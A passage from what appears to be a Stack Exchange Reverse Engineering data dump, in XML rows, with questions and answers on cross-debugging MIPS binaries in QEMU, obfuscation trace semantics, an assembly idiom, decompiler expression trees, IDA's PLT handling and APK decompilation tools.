- 0x00410e6c is .got&#xA;    0x00410e6c - 0x00410e70 is .sdata&#xA;    0x00410e70 - 0x00410e80 is .bss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i want to run the program nothing is happening:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r&#xA;Starting program: /root/myelf &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I waited about 10 mins and nothing happened. (Normally the program should print a string &quot;Usage : ./myelf password&quot; as i didn't give any arguments). &#xA;Then i tried with gdbserver on the emulator and a gdb configured for a mipsel processor on the host machine but it didn't work.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may do something wrong or stupid because i'm quite confused. If anybody can tell me what's wrong in my process or if someone tried to run &lt;a href=&quot;https://bitbucket.org/Nomyo/reverse-engineering/downloads&quot;&gt;myelf file&lt;/a&gt;, I would know how he did in order to be able to run any program on different machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you, have a good day!&lt;/p&gt;&#xA;" OwnerUserId="12182" LastEditorUserId="264" LastEditDate="2017-12-04T21:59:56.730" LastActivityDate="2020-01-06T12:53:22.233" Title="Cross debugging for ARM / MIPS ELF with QEMU/toolchain" Tags="|debugging|gdb|elf|mips|qemu|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8830" PostTypeId="1" AcceptedAnswerId="8832" CreationDate="2015-05-06T19:52:32.747" Score="3" ViewCount="113" Body="&lt;p&gt;I was reading through the chapter on Obfuscation in &quot;Practical Reverse Engineering&quot; I encountered the following statement.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Where X is the set of execution traces (finite and infinite), you can&#xA;  express the trace semantics as the least solution (for the&#xA;  computational partial ordering) of a fixpoint equation X = F( X).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Could someone explain what that means in simple terms? If you could point me towards any resources for further reading and learning, that'd be great too.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-05-07T00:52:14.377" Title="Expressing trace semantics as a solution for a fixpoint equation" Tags="|obfuscation|program-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8831" PostTypeId="1" AcceptedAnswerId="8833" CreationDate="2015-05-06T22:25:28.357" Score="2" ViewCount="124" Body="&lt;p&gt;I have found the following lines in a sample which I try to analyze. Here, are the lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   ....&#xA;   push  afg.00401189       &quot;ntdll.dll&quot; &#xA;   call  GetmoduleHandleW&#xA;   neg   eax&#xA;   sbb   eax, eax&#xA;   neg   eax&#xA;   RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I do not understand the lines after the call instruction. We have sbb instruction between two neg-operations, but what can be the purpose of that. Can somebody explain that ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Intuitively, I would say that at the end I have the handle to ntdll.dll in EAX...but the operations between the call and retn are very strange. I am confused.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2015-05-07T03:21:26.393" Title="Processing a handle to a module" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8832" PostTypeId="2" ParentId="8830" CreationDate="2015-05-06T23:43:18.160" Score="1" Body="&lt;p&gt;You may consult pages 39-41 in the thesis &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Code Obfuscation and Malware Detection by Abstract Interpretation&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;of M. Dalla Preda about formal obfuscation; or sections 4.4 and 4.5 in the orignal paper &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Systematic Design of Program Transformation Frameworks by Abstract&#xA;  Interpretation&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;of Cousot and Cousot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theory is formal and requires much more technical details than the following interpretation, but the idea is that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;finite trace&quot; semantics of a program &lt;code&gt;P&lt;/code&gt; is defined by the set of all finite traces of &lt;code&gt;P&lt;/code&gt;. A trace is nothing but a finite sequence of states of &lt;code&gt;P&lt;/code&gt;, obtained when running &lt;code&gt;P&lt;/code&gt;, step-by-step over &quot;commands&quot; of &lt;code&gt;P&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You may note that, from a state, we can get a set of possible next states, because the command at this state can be nondeterministic: it can receive some value from environment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the finite trace semantics of &lt;code&gt;P&lt;/code&gt;, one way (which one is refered in your book) is to use a function &lt;code&gt;F&lt;/code&gt; defined from FinSeqs to FinSeqs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F : FinSeq -&amp;gt; FinSeq&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;FinSeqs&lt;/code&gt; is the set of all &quot;sub-set of finite sequences of states of &lt;code&gt;P&lt;/code&gt;&quot; (you may think that each sub-set is a possible value for the &quot;finite trace&quot; semantics of &lt;code&gt;P&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function &lt;code&gt;F&lt;/code&gt; map a sub-set &lt;code&gt;X&lt;/code&gt; to a sub-set &lt;code&gt;X'&lt;/code&gt; so that each trace &lt;code&gt;x'&lt;/code&gt; of &lt;code&gt;X'&lt;/code&gt; has a trace &lt;code&gt;x&lt;/code&gt; of &lt;code&gt;X&lt;/code&gt; as suffix (that is the reason why it is called &quot;backward&quot; in the paper of Cousot and Cousot). Particularly, we have that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x' = sj . x&#xA;x = si . x1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;sj&lt;/code&gt; must be able to be a next state of &lt;code&gt;si&lt;/code&gt;. The least fixpoint of the function &lt;code&gt;F&lt;/code&gt;, namely some set &lt;code&gt;Xp&lt;/code&gt; so that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F(Xp) = Xp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is called the trace semantics of &lt;code&gt;P&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2015-05-07T00:52:14.377" LastActivityDate="2015-05-07T00:52:14.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8833" PostTypeId="2" ParentId="8831" CreationDate="2015-05-07T03:21:26.393" Score="2" Body="&lt;p&gt;The &lt;code&gt;neg / sbb / neg&lt;/code&gt; code in your question is the equivalent of the following C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = (eax != 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, the function returns &lt;code&gt;GetModuleHandleW(&quot;ntdll.dll&quot;) != NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;neg / sbb / neg&lt;/code&gt; construct is explained in detail here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://books.google.com/books?id=_78HnPPRU_oC&amp;amp;pg=PT392&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Reversing: Secrets of Reverse Engineering&lt;/em&gt;, section A.2.8.1. Pure Arithmetic Implementations&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-07T03:21:26.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8834" PostTypeId="2" ParentId="8131" CreationDate="2015-05-07T05:27:26.477" Score="5" Body="&lt;p&gt;(From &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/11623/user11623&quot;&gt;user11623&lt;/a&gt;'s answer): Upon opening your file on OllyDbg, press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;. This will show you the whole memory map for your file. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; for the search window. Try both ASCII and Unicode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the text is generated on runtime, you can use a tool that prevents process termination(such as &lt;a href=&quot;http://www.codeproject.com/Articles/672843/Keep-alive-processes-or-preventing-app-termination&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;). Run your file. If your file is now in the memory, you can use &lt;a href=&quot;http://www.x-ways.net/winhex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinHex&lt;/a&gt; or &lt;a href=&quot;http://mh-nexus.de/en/hxd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HxD&lt;/a&gt; to search for the string in memory. Just open your running process in the mentioned Hex viewers and do a search (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt;). Try the search for both ASCII and Unicode.&lt;/p&gt;&#xA;" OwnerUserId="8336" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-05-07T07:32:40.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8835" PostTypeId="1" AcceptedAnswerId="8838" CreationDate="2015-05-07T10:44:59.793" Score="8" ViewCount="1304" Body="&lt;p&gt;After writing my own disassembler, I am now looking to making its assembly listing more human readable, e.g. from an (artificial) example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;sub     esp, 10h&#xA;mov     eax, dword ptr [55431824h]&#xA;imul    eax, dword ptr [ebp+8]&#xA;add     eax, dword ptr [ebp+0ch]&#xA;mov     dword ptr [ebp-4], eax&#xA;mov     eax, dword ptr [ebp-4]&#xA;leave&#xA;ret     10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;via (&lt;code&gt;&amp;gt;&lt;/code&gt; marks an auto-recognized prologue/epilogue):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;push    ebp&#xA;&amp;gt;mov     ebp, esp&#xA;&amp;gt;sub     esp, 10h&#xA;&#xA; mov     eax, dword ptr [_global_55431824]&#xA; imul    eax, dword ptr [arg_0]&#xA; add     eax, dword ptr [arg_4]&#xA; mov     dword ptr [local_4], eax&#xA; mov     eax, dword ptr [local_4]&#xA;&#xA;&amp;gt;leave&#xA;&amp;gt;ret     10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;towards&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = 10&#xA;eax *= arg_0&#xA;eax += arg_4&#xA;local_4 = eax&#xA;eax = local_4&#xA;return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, each pseudo instruction is still tied to its original disassembled representation. When printing out, I can scan for certain sequences and so I replace the first two lines with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = 10 * arg_0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then just skip printing the next line. However, there is a limit to how far I can get with that. Concatenating the next operation, which would lead to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = 10 * arg_0 + arg_4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;requires to look ahead &lt;strong&gt;two&lt;/strong&gt; instructions, &lt;em&gt;and&lt;/em&gt; would only work for this specific combination of &lt;code&gt;mov&lt;/code&gt;, &lt;code&gt;imul&lt;/code&gt;, and &lt;code&gt;add&lt;/code&gt;, while assuring the same destination register is still targeted and the intermediate instructions have no lasting effect on other registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;local_4 = 10 * arg_0 + arg_4&#xA;eax = local_4&#xA;return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where obviously &lt;code&gt;eax&lt;/code&gt; is specifically assigned a value before a &lt;code&gt;return&lt;/code&gt;, so the last line can be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally the entire construction can be collapsed into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return 10 * arg_0 + arg_4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(which is very close to what I started with in the original trivial C program). I am struggling with the internal representation of composite lines such as the last one. The otherwise very reliable decompiler page &lt;a href=&quot;http://www.backerstreet.com/decompiler/creating_statements.php&quot; rel=&quot;noreferrer&quot;&gt;backerstreet.com/creating_statements&lt;/a&gt; casually switches between raw assembler and C-like compound statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!expr1 &amp;amp;&amp;amp; !expr2)&#xA;  ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;without explaining how this intermediate step is stored in memory and can create the output string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What type of intermediate storage form should I be looking at, which (a) can be constructed from the original disassembled instructions, (b) can have its elements combined and rearranged, and (c) can be translated into human-readable output such as the last line?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be worth mentioning that I am not aiming to create the Definitive Universal Decompiler :) My test input was compiled with an ancient version (most likely pre-1993) of Delphi Pascal, but while its assembly is not really optimized and fairly readable to begin with, I'd still like to go the extra mile and make my computer do what it does best and make it yet easier to understand the code.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;A longer real world example&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Below is some actual disassembly. The basic block number is followed by a dominator bit set (the &lt;code&gt;loops&lt;/code&gt; hex number; I generate them but have not used that data yet). The &lt;code&gt;ENTRY&lt;/code&gt; and &lt;code&gt;EXIT&lt;/code&gt; numbers are to basic blocks again and used to generate a .dot view of the function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; ## BLOCK 0; loops: 01; EXIT to 1, 4&#xA;401966A8    (  0)  8B 15 42201590       mov     edx,dword ptr [42201590]&#xA;401966AE    (  0)  8B 12                mov     edx,dword ptr [edx]&#xA;401966B0    (  0)  80 BA 39 01 00 00 02 cmp     byte ptr [edx+139h],2&#xA;401966B7    (  0)  75 11                jnz     label_4&#xA;&#xA;; ## BLOCK 1; loops: 03; ENTER from 0; EXIT to 2, 4&#xA;401966B9    (  0)  83 78 24 02          cmp     dword ptr [eax+24h],2&#xA;401966BD    (  0)  7D 0B                jge     label_4&#xA;&#xA;; ## BLOCK 2; loops: 07; ENTER from 1; EXIT to 3=RET&#xA;401966BF    (  0)  BA 02 00 00 00       mov     edx,2&#xA;401966C4    (  0)  2B 50 24             sub     edx,dword ptr [eax+24h]&#xA;401966C7    (  0)  8B C2                mov     eax,edx&#xA;&#xA;; ## BLOCK 3 (epilog); loops: 0F; ENTER from 2&#xA;401966C9          &amp;gt;C3                   retn    &#xA;&#xA;; ## BLOCK 4; loops: 11; ENTER from 0, 1; EXIT to 5, 7&#xA;                        label_4:&#xA;401966CA    (  0)  8B 15 42201590       mov     edx,dword ptr [42201590]&#xA;401966D0    (  0)  8B 12                mov     edx,dword ptr [edx]&#xA;401966D2    (  0)  80 BA 39 01 00 00 01 cmp     byte ptr [edx+139h],1&#xA;401966D9    (  0)  75 0D                jnz     label_7&#xA;&#xA;; ## BLOCK 5; loops: 31; ENTER from 4; EXIT to 6, 7&#xA;401966DB    (  0)  83 78 24 00          cmp     dword ptr [eax+24h],0&#xA;401966DF    (  0)  75 07                jnz     label_7&#xA;&#xA;; ## BLOCK 6; loops: 71; ENTER from 5; EXIT to 8=RET&#xA;401966E1    (  0)  B8 01 00 00 00       mov     eax,1&#xA;401966E6    (  0)  EB 02                jmp     label_8&#xA;&#xA;; ## BLOCK 7; loops: 91; ENTER from 4, 5; EXIT to 8=RET&#xA;                        label_7:&#xA;401966E8    (  0)  33 C0                xor     eax,eax&#xA;&#xA;; ## BLOCK 8 (epilog); loops: 0111; ENTER from 6, 7&#xA;                        label_8:&#xA;401966EA          &amp;gt;C3                   retn    &#xA;&#xA;401966EB                align 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the .dot image; clear &lt;code&gt;if&lt;/code&gt;s are yellow, and the nodes contain their dominator bit sets so I can try and make sense of them (a TO-DO as yet). This explains the &lt;em&gt;flow&lt;/em&gt; but you cannot see how much &lt;em&gt;code&lt;/em&gt; each node represents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NBPCo.png&quot; alt=&quot;function flow&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembly gets parsed into the following pseudo-code. Some notes are &lt;code&gt;&lt;b&gt;manually added&lt;/b&gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;; #### PARSED&#xA;401966A8    (  0)       edx = Main.UnitList@20551314 ;&#xA;401966AE    (  0)       edx = (dword)[edx] ;&#xA;401966B0    (  0)       if ((byte)[edx + 139h] != 2) goto label_4 ;&#xA;&#xA;401966B9    (  0)       if ((dword)[eax + 24h] &gt;= 2) goto label_4 ;&#xA;&#xA;401966BF    (  0)       edx = 2 ;&#xA;401966C4    (  0)       edx -= (dword)[eax + 24h] ;&#xA;401966C7    (  0)       return edx ; &lt;b&gt;MOV EAX,.. where an exit block follows&lt;/b&gt;&#xA;&#xA;                        return ;  &lt;b&gt;.. and this line is generated by the actual exit block&lt;/b&gt;&#xA;&#xA;                    label_4:&#xA;401966CA    (  0)       edx = Main.UnitList@20551314 ;&#xA;401966D0    (  0)       edx = (dword)[edx] ;&#xA;401966D2    (  0)       if ((byte)[edx + 139h] != 1) goto label_7 ;&#xA;&#xA;401966DB    (  0)       if ((dword)[eax + 24h] != 0) goto label_7 ;&#xA;&#xA;401966E1    (  0)       eax = 1 ;&#xA;401966E6    (  0)       return ;  &lt;b&gt;this was a jump-to-exit-block, so missed&lt;/b&gt;&#xA;&#xA;                    label_7:&#xA;401966E8    (  0)       eax = 0 ; &lt;b&gt;this was a XOR, not a MOV, so missed&lt;/b&gt;&#xA;&#xA;                    label_8:&#xA;                        return ;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The loss in verbosity is already worth the effort: from 21 lines of code to 16 lines, even though the lookahead to check if EAX got written to right before a &lt;code&gt;RET&lt;/code&gt; failed twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, it is obvious that the two successive &lt;code&gt;if&lt;/code&gt;s at &lt;code&gt;401966B0&lt;/code&gt; can be combined into a single one, with an OR. Inverting the condition, that whole block can be a single &lt;code&gt;if&lt;/code&gt; and braced up to the &lt;code&gt;return&lt;/code&gt;, removing &lt;code&gt;label_4&lt;/code&gt;.&lt;br&gt;&#xA;The manipulation of &lt;code&gt;edx&lt;/code&gt; from &lt;code&gt;401966BF&lt;/code&gt; onwards can be concatenated into a single &lt;code&gt;return&lt;/code&gt; statement.&lt;br&gt;&#xA;Also, the &lt;code&gt;if&lt;/code&gt; conditions at &lt;code&gt;401966D2&lt;/code&gt; can be combined into a single one and put inside an &lt;code&gt;if&lt;/code&gt; block. Since there is a &lt;code&gt;return&lt;/code&gt; at its end, an &lt;code&gt;else&lt;/code&gt; is not necessary there. Manually reconstructed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;401966A8    (  0)       edx = Main.UnitList@20551314 ;&#xA;401966AE    (  0)       edx = (dword)[edx] ;&#xA;401966B0    (  0)       if ((byte)[edx + 139h] == 2 &amp;amp;&amp;amp;&#xA;401966B9    (  0)           (dword)[eax + 24h] &amp;lt; 2)&#xA;                        {&#xA;401966BF    (  0)           return 2 - (dword)[eax + 24h] ;&#xA;                        }&#xA;&#xA;401966CA    (  0)       edx = Main.UnitList@20551314 ;&#xA;401966D0    (  0)       edx = (dword)[edx] ;&#xA;401966D2    (  0)       if ((byte)[edx + 139h] == 1 &amp;amp;&amp;amp;&#xA;401966DB    (  0)          (dword)[eax + 24h] == 0)&#xA;                        {&#xA;401966E1    (  0)           return 1 ;&#xA;                        }&#xA;&#xA;401966E8    (  0)       return 0 ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;reducing the original 21 lines to a mere 11. Furthermore, register value propagation resolves the references to the global class &lt;code&gt;Main.UnitList&lt;/code&gt;. I manually created names for its elements; &lt;code&gt;401966A8&lt;/code&gt; and forwards collapses into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;401966B0    (  0)       if (Main.UnitList.flag == 2 &amp;amp;&amp;amp;&#xA;401966B9    (  0)           Main.UnitList.count &amp;lt; 2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which makes the code practically readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Accessing &lt;code&gt;eax&lt;/code&gt; before it gets written is not an error here. The function is a class function, and &lt;code&gt;eax&lt;/code&gt; points to a class instance, so &lt;code&gt;(dword)[eax + 24h]&lt;/code&gt; reads a data member of the structure. &lt;code&gt;Main.UnitList&lt;/code&gt; is a pointer to a globally declared class instance, since it points into the BSS.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2015-05-08T09:48:36.147" LastActivityDate="2020-04-16T09:43:32.353" Title="IL for decompiler to human-readable format" Tags="|disassembly|decompilation|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8837" PostTypeId="1" AcceptedAnswerId="8885" CreationDate="2015-05-07T12:04:21.670" Score="4" ViewCount="4988" Body="&lt;p&gt;I would like to make IDA disassemble the &lt;code&gt;.plt&lt;/code&gt; section of ELF files correctly, e.g. as objdump does: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -D -M intel asdf | grep &quot;Disassembly of section .plt&quot; -A80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ShG5H.png&quot; alt=&quot;objdump disassembly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why but IDA gives me this (Note the &lt;code&gt;dw ?&lt;/code&gt; and &lt;code&gt;dq ?&lt;/code&gt;):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/H8NSe.png&quot; alt=&quot;IDA disassembly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even the IDA hexeditor does not show me the correct values at the corresponding addresses, but gives me &lt;code&gt;??&lt;/code&gt;s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried selecting and deselecting the settings described in the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1375.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Online help&lt;/a&gt; (search for &quot;PLT&quot;) but this didn't help...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0: Replace PIC form of 'Procedure Linkage Table' to non PIC form&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1: Direct jumping from PLT (without GOT) regardless of its form&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2: Convert PIC form of loading &lt;code&gt;_GLOBAL_OFFSET_TABLE_[]&lt;/code&gt; of address&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3: Obliterate auxiliary bytes in PLT &amp;amp; GOT for 'final autoanalysis'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;4: Natural form of PIC GOT address loading in relocatable file&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;5: Unpatched form of PIC GOT references in relocatable file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I configure IDA so that I can access the instructions in the &lt;code&gt;.plt&lt;/code&gt; section of an ELF file with IDAPython?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="53" LastEditDate="2015-05-13T16:50:38.327" LastActivityDate="2015-05-28T08:39:17.103" Title="ELF: How to make IDA show me the correct PLT (Procedure Linkage Table) content?" Tags="|ida|disassembly|idapython|elf|plt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8838" PostTypeId="2" ParentId="8835" CreationDate="2015-05-07T13:08:46.353" Score="3" Body="&lt;p&gt;For creating &quot;humanly&quot; readable expressions, i'd use an &lt;a href=&quot;http://cas.ee.ic.ac.uk/people/ccb98/teaching/ee2_software_engineering/Lecture10-Parsing2.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;arithmetic parse tree&lt;/a&gt;. In fact, one separate parse tree for each of the registers and memory locations that are involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every assignment copies the root of the target tree to the destination tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every arithmetic operation creates a new root containing the operation, with the operands as the left &amp;amp; right child. The resulting tree is assigned to the target of the arithmetic operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example builds up like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/24L2k.png&quot; alt=&quot;example parse trees&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, emitting the resulting formula is just a ltr tree walk. You'll probably want to simplify your expression first; you can replace an operator that has two constant subnodes with the operation result, and you might want to transform your tree by moving constants down where possible, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              eax&#xA;               |&#xA;              add&#xA;               |&#xA;     +---------+--------+&#xA;     |                  |&#xA;    add                 5&#xA;     |                  &#xA;+----+-------+          &#xA;|            |&#xA;2           ebx&#xA;&#xA;&#xA;              eax&#xA;               |&#xA;              add&#xA;               |&#xA;     +---------+--------+&#xA;     |                  |&#xA;    add                ebx&#xA;     |                  &#xA;+----+-------+         &#xA;|            |&#xA;2            5&#xA;&#xA;              eax&#xA;               |&#xA;              add&#xA;               |&#xA;     +---------+--------+&#xA;     |                  |&#xA;     7                 ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Google for &quot;expression tree&quot; and &quot;constant folding&quot; for more resources on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mind that trees might be &quot;self-referencing&quot;, especially in loops; the loop control variable will be seen at the top node, and somewhere down the tree as well. This is actually a good way to identify loop variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd probably start with trying to recognize basic blocks (everything that doesn't contain a jmp instruction or destination), and then build and dump the expression trees for these basic blocks. If you get this working well, you might continue by identifying stuff that stretches over several blocks, but is constant in some of them, like loops, to find out what's being built over the whole function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Another example, which shows how to treat register moves&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A raw register move just copies the tree from the source register to the destination register. This is from an old watcom C program, compiled when &lt;code&gt;imul&lt;/code&gt; was slow, and a series of shift/add instructions was faster; the compiler calculates var*45 here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [var]&#xA;mov edx, eax      &amp;lt;-- tree copy here (not much of a tree, however)&#xA;shl edx, 2&#xA;add eax, edx&#xA;mov edx, eax      &amp;lt;-- tree copy again&#xA;shl eax, 3&#xA;add eax, edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YVM9G.png&quot; alt=&quot;arithmetic example var*45&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-05-08T06:32:40.150" LastActivityDate="2015-05-08T06:32:40.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8839" PostTypeId="2" ParentId="8823" CreationDate="2015-05-07T13:28:56.337" Score="0" Body="&lt;p&gt;For decompile a APK file, you can use different tools(&lt;a href=&quot;https://mobilesecuritywiki.com/&quot; rel=&quot;nofollow&quot;&gt;https://mobilesecuritywiki.com/&lt;/a&gt;).&#xA;If you use python this is the best:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/androguard/androguard&quot; rel=&quot;nofollow&quot;&gt;https://github.com/androguard/androguard&lt;/a&gt; or &lt;a href=&quot;https://code.google.com/p/androguard/(see&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/androguard/(see&lt;/a&gt; also this example: &lt;a href=&quot;https://github.com/androguard/androguard/tree/master/demos&quot; rel=&quot;nofollow&quot;&gt;https://github.com/androguard/androguard/tree/master/demos&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can decompile for ARM, but for test you should be use quemu (for ARM) or eclipse.&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2015-05-07T13:28:56.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
